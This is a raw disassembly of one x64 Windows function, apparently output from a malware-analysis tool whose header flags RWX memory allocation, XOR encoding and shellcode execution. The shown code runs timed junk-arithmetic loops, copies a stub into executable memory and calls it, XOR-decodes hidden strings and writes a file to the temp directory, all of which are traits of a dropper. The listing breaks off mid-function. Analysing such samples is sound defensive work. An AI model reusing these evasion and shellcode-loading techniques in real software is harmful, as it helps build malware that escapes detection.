Function at 0x1401c5010
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x53a0]
mov eax, 0x54a0
call fcn.140242000
sub rsp, rax
movaps xmmword [rsp + 0x5490], xmm6
movaps xmmword [rsp + 0x5480], xmm7
movaps xmmword [rsp + 0x5470], xmm8
movaps xmmword [rsp + 0x5460], xmm9
movaps xmmword [rsp + 0x5450], xmm10
movaps xmmword [rsp + 0x5440], xmm11
movaps xmmword [rsp + 0x5430], xmm12
movaps xmmword [rsp + 0x5420], xmm13
movaps xmmword [rsp + 0x5410], xmm14
mov rax, qword [0x140284028]
xor rax, rsp
mov qword [rbp + 0x5300], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
xor edi, edi
mov dword [rsp + 0x34], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x50e4], 0xffffffff
mov dword [rbp + 0x3d64], eax
mov ebx, 1
mov ecx, ebx
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x3d64], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c50d1
mov dword [rbp + 0x3d60], 0x270
lea rcx, [rbp + 0x3d60]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x1401c513c
nop dword [rax]
lea rcx, [rbp + 0x3d60]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x1401c5120
shr rax, 0x20
lea r15d, [rax + 0x3e7]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x1634], 0xffffffff
mov dword [rbp + 0x2b4], eax
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x2b4], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c5170
mov dword [rbp + 0x2b0], 0x270
mov dword [rsp + 0x30], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c51be
imul rax, rax, 0x64
jmp 0x1401c51d9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r13d, 0x80000000
mov r12d, 1
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c520e
imul rax, rax, 0x64
jmp 0x1401c5229
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1401c53e5
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401c527a
nop word [rax + rax]
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5260
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c52da
cmp eax, 0x64
jae 0x1401c52da
nop dword [rax]
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c52c0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1401c533b
cmp eax, 0x64
jae 0x1401c533b
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5321
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c539d
cmp eax, 0x64
jae 0x1401c539d
lea rcx, [rbp + 0x2b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5383
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r12
jne 0x1401c5240
jmp 0x1401c51f0
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0xb0]
call fcn.140241de8
lea rsi, [0x140000000]
lea rax, [rsi + 0x26f538]
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov ebx, dword [rsp + 0x34]
or ebx, 4
mov dword [rsp + 0x34], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], r8d
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0xb8], rax
xor r14d, r14d
mov qword [rbp + 0x120], r14
mov dword [rbp + 0x128], 4
mov edx, r15d
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [0x14026e960]
movsd qword [rsp + 0x48], xmm0
movzx eax, word [0x14026e968]
mov edx, 0x2e
mov word [rsp + 0x48], dx
xor word [rsp + 0x4a], 0x44
xor word [rsp + 0x4c], 0x46
xor word [rsp + 0x4e], 0x48
xor ax, 0x4a
mov word [rsp + 0x50], ax
lea rdx, [rsp + 0x48]
call fcn.14021b720
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
movdqa xmm1, xmmword [0x1402727f0]
movdqu xmmword [rbp + 0x98], xmm1
mov word [rbp + 0x88], r14w
or ebx, 0x10
mov dword [rsp + 0x34], ebx
mov ecx, dword [rbp + 0x128]
mov eax, ecx
and al, 0x22
cmp al, 2
mov r12, qword [rsp + 0x38]
je 0x1401c5567
mov rax, qword [rbp + 0xf8]
mov r8, qword [rax]
test r8, r8
je 0x1401c5567
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x120]
cmovb r8, qword [rbp + 0x120]
jmp 0x1401c5593
test cl, 4
jne 0x1401c55aa
mov rax, qword [rbp + 0xf0]
mov r8, qword [rax]
test r8, r8
je 0x1401c55aa
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x108]
movsxd rcx, dword [rax]
lea r8, [r8 + rcx*2]
sub r8, rdx
sar r8, 1
test rdx, rdx
je 0x1401c55aa
lea rcx, [rbp + 0x88]
call fcn.1402198a0
and ebx, 0xffffffef
or ebx, 8
mov dword [rsp + 0x60], 0x104
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
lea r15, [rbp + 0x53c8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [r15], r14
mov ecx, r14d
lea r14, [0x14021bc90]
mov rax, qword [0x1402926f0]
test rax, rax
je 0x1401c5629
xor edx, edx
cmp rax, r14
je 0x1401c5618
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2926f0]
test rax, rax
jne 0x1401c5600
jmp 0x1401c5629
mov r9, qword [rsi + rdx*8 + 0x2936d0]
test r9, r9
jne 0x1401c570f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x1401c56ee
mov rax, r14
mov rcx, r9
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401c5660
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d58]
mov qword [rsi + rax*8 + 0x2926f0], r14
mov qword [rsi + rax*8 + 0x2936d0], r9
inc rax
mov qword [0x140292d58], rax
lea r8, [rbp + 0x50f0]
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [r15], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rbp + 0x50f0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401c5760
lea rdx, [rbp + 0x50f0]
lea rcx, [rbp - 0x58]
call fcn.14021d2a0
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x58]
call fcn.1402199c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
or ebx, 2
mov dword [rsp + 0x34], ebx
lea rcx, [rbp - 0x58]
call fcn.140219830
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x29c4], 0xffffffff
mov dword [rbp + 0x1644], eax
lea ecx, [rsi + 1]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x1644], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c57f0
mov dword [rbp + 0x1640], 0x270
mov dword [rsp + 0x30], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c583e
imul rax, rax, 0x64
jmp 0x1401c5859
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r15d, 0x80000000
mov r13d, 1
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c588e
imul rax, rax, 0x64
jmp 0x1401c58a9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1401c5a65
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401c58fa
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c58e0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c595a
cmp eax, 0x64
jae 0x1401c595a
nop dword [rax]
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5940
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1401c59bb
cmp eax, 0x64
jae 0x1401c59bb
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c59a1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c5a1d
cmp eax, 0x64
jae 0x1401c5a1d
lea rcx, [rbp + 0x1640]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5a03
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r13
jne 0x1401c58c0
jmp 0x1401c5870
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call fcn.140241de8
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.140219350
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
cmp qword [rbp + 0x228], 0
mov r13, qword [rsp + 0x58]
je 0x1401c66b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor esi, esi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], si
mov rcx, r12
cmp qword [r12 + 0x18], 8
jb 0x1401c5b09
mov rcx, qword [r12]
mov rdx, rcx
jmp 0x1401c5b0c
mov rdx, r12
mov rbx, rcx
mov rax, qword [r12 + 0x10]
lea rdi, [rdx + rax*2]
cmp rcx, rdi
je 0x1401c5b94
mov esi, 0x22
movzx edx, word [rbx]
cmp dx, si
je 0x1401c5b35
lea rcx, [rbp + 0x50]
call fcn.140217a00
jmp 0x1401c5b89
mov eax, dword [0x14027124c]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140271250]
mov word [rsp + 0x38], si
xor word [rsp + 0x3a], 0x44
xor ax, 0x46
mov word [rsp + 0x3c], ax
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401c5b70
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x50]
call fcn.140217b60
add rbx, 2
cmp rbx, rdi
jne 0x1401c5b22
xor esi, esi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x3d54], 0xffffffff
mov dword [rbp + 0x29d4], eax
mov ecx, 1
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x29d4], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c5bb1
mov dword [rbp + 0x29d0], 0x270
mov dword [rsp + 0x30], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c5bff
imul rax, rax, 0x64
jmp 0x1401c5c1a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r13d, 1
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c5c45
imul rax, rax, 0x64
jmp 0x1401c5c60
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1401c5e15
mov esi, 0x186a0
nop
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401c5caa
nop word [rax + rax]
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5c90
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c5d0a
cmp eax, 0x64
jae 0x1401c5d0a
nop dword [rax]
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5cf0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1401c5d6b
cmp eax, 0x64
jae 0x1401c5d6b
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5d51
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c5dcd
cmp eax, 0x64
jae 0x1401c5dcd
lea rcx, [rbp + 0x29d0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5db3
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r13
jne 0x1401c5c70
jmp 0x1401c5c27
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [0x140271190]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [str.:1:4za]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1402711b0]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1402711c0]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x1402711d0]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1402711e0]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1402711e8]
mov dword [rbp + 0x28], eax
xor r15d, r15d
mov r9d, r15d
mov edi, 0xff8e
lea esi, [r15 + 6]
lea r14d, [r15 + 0x1f]
mov ebx, dword [0x140284008]
cmp ebx, 2
mov r13, qword [rsp + 0x58]
lea r12d, [r15 + 3]
jl 0x1401c6071
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x1402728d0]
movd xmm10, r12d
movdqa xmm7, xmmword [0x140272910]
movd xmm11, esi
movdqa xmm12, xmmword [0x140272840]
movd xmm8, r14d
movdqa xmm13, xmmword [0x140272920]
movdqa xmm14, xmmword [str.BBBBBBBB]
lea rcx, [rbp - 0x30]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm8
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm14
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm8
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm14
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x1401c5ee0
cmp r9d, 0x2e
jge 0x1401c60d3
movsxd rax, r9d
lea r10, [rbp - 0x30]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x67
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x21]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x1401c6080
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.14021b720
movups xmm0, xmmword [0x140270820]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [0x140270830]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x140270838]
mov dword [rbp - 0x60], eax
movzx eax, word [0x14027083c]
mov word [rbp - 0x5c], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401c62c5
movdqa xmm6, xmmword [0x1402728d0]
movd xmm7, r12d
movdqa xmm8, xmmword [0x140272910]
movd xmm9, esi
movd xmm11, r14d
movdqa xmm13, xmmword [str.BBBBBBBB]
movdqa xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140272840]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [0x140270820]
pxor xmm3, xmm0
movq qword [rbp - 0x78], xmm3
